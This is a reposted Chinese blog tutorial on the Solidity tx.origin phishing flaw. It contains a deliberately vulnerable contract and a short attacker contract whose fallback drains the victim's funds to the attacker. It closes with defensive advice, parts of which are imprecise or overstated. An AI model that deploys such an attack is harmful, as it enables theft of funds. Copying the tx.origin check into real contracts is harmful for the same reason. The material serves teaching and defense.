智能合约编程/Dapp漏洞 -- 交易授权/Tx.Origin Authentication

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

Solidity有一个全局变量tx.origin, 它回溯整个调用栈返回最初的,真正发起调用/交易的账户地址。在智能合约里使用这个变量做用户验证的话,就会留下一个受钓鱼攻击的漏洞。可以看这个Stack Exchange问答: Peter Venesses’s Blog and Solidity — Tx.Origin attacks(https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514)。

攻击原理

如果一个合约使用tx.origin来授权相应的操作的话,钓鱼攻击会引诱用户在有漏洞的合约上执行一些需要授权的操作。 看看下面简单的合约

 contract Phishable {
  address public owner;
  
  constructor (address _owner) {
     owner = _owner; 
  }
  
  function () public payable {} // collect ether
  function withdrawAll(address _recipient) public {
     require(tx.origin == owner);
     _recipient.transfer(this.balance); 
  }
 }

注意合约里在函数withdrawAll()在require语句里使用了tx.origin。

下面是一个攻击者创建的合约

 import "Phishable.sol";
 contract AttackContract { 
  
  Phishable phishableContract; 
  address attacker; // The attackers address to receive funds.
  constructor (Phishable _phishableContract, address _attackerAddress) { 
     phishableContract = _phishableContract; 
     attacker = _attackerAddress;
  }
  
  function () { 
     phishableContract.withdrawAll(attacker); 
  }
 }
 

攻击者会部署上面这个攻击者合约,同时说服受攻击合约拥有者送给攻击者合约一些ether。然后攻击者可以把这个合约假装成共同的私有地址,然后引诱受害者发送ether到这个攻击者合约。受害者,除非很小心,大都不会注意到在攻击者合约地址里的代码,或者攻击者可以发送一个多签的钱包或者其他高级存储的钱包。 如果受害者成功发送了一个交易给攻击者合约,这将触发Fallback函数执行。在fallback函数里将调用被钓鱼/被攻击合约里的withdrawAll()函数。这将导致从被钓鱼合约里的所有资金被提取到了攻击者的地址。这是因为,发起这个调用的最初的调用者是受害者合约地址(这里是受攻击的合约地址)因而,tx.origin等于所有者,在被钓鱼合约的第11行上的require语句就会不起作用,然withdrawAll()函数得以继续执行。

防护技术

在智能合约的鉴权机制中不应使用tx.origin。不是说绝对不能用tx.origin变量。该变量还是有合理的使用场景的。比如, 如果想要控制外部合约调用本合约,可以使用require(tx.origin == msg.sender). 这个语句防止一些中间的合约来调用本合约,限制本合约仅可供常用的codeless地址访问。

我们通常使用tx.origin来区分调用者是一个账户而不是一个合约。

if(msg.sender == tx.origin) 

如果调用者是一个账户,上面的条件永远是True。如果是合约账户,则条件就为False.

转载于:https://my.oschina.net/gavinzheng731/blog/3014367

你可能感兴趣的:(智能合约编程/Dapp漏洞 -- 交易授权/Tx.Origin Authentication)